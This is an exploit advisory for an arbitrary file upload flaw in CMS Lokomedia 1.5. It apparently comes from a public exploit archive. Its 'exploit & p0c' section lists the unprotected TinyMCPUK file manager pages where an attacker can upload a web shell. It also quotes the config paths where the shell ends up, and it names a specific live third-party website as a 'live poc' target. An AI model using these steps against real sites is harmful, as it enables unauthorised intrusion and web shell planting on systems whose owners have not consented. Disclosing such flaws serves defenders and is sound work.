CMS Lokomedia 1.5 Shell Upload

`===================================================================  
CMS Lokomedia 1.5 Arbitary file upload vulnerability  
===================================================================  
  
Software: CMS Lokomedia  
Vendor: http://bukulokomedia.com/home  
Vuln Type: Arbitary file upload  
Download link: http://bukulokomedia.com/lokomedia-1.5.rar  
Author: eidelweiss  
contact: eidelweiss[at]windowslive[dot]com  
Home: www.eidelweiss.info  
DORK: use your skill and play your imagination :P  
  
Gratz:  
- Kuris : status udah merit aja beib.. kgak undang² iks..  
- Richie : RebelgiRL (Limited edition.. lol) live is never flate so enjoy this live mate ^_^  
  
  
References: http://eidelweiss-advisories.blogspot.com/2011/03/cms-lokomedia-15-arbitary-file-upload.html  
  
  
===================================================================  
  
  
----------------------------------  
  
exploit & p0c  
  
[!] http://host/path_to_lokomedia/tinymcpuk/filemanager/browser.html // upload your file here  
or  
[!] http://host/tinymcpuk/filemanager/browser.html  
or  
[!] http://host//tinymcpuk/filemanager/frmupload.html  
or  
[!] http://host/path_to_lokomedia/tinymcpuk/filemanager/frmupload.html  
  
your shell or file will be placed here  
  
/*------------------------------------------------------------------------------*/  
/* Path to user files relative to the document root (no trailing slash) */  
/*------------------------------------------------------------------------------*/  
$fckphp_config['UserFilesPath'] = "./lokomedia/tinymcpuk/gambar" ; // <= here   
/*==============================================================================*/  
/* Apabila sudah di-onlinekan, ubah baris 47 dengan settingan seperti berikut:  
$fckphp_config['UserFilesPath'] = "./tinymcpuk/gambar" ; */ // <= or here  
  
----------------------------------  
  
live poc : http://www.ikafela.com./tinymcpuk/filemanager/browser.html  
  
  
====================================================================  
  
Nothing Impossible In This World Even Nobody`s Perfect  
  
===================================================================  
  
==========================| -=[ E0F ]=- |==========================  
`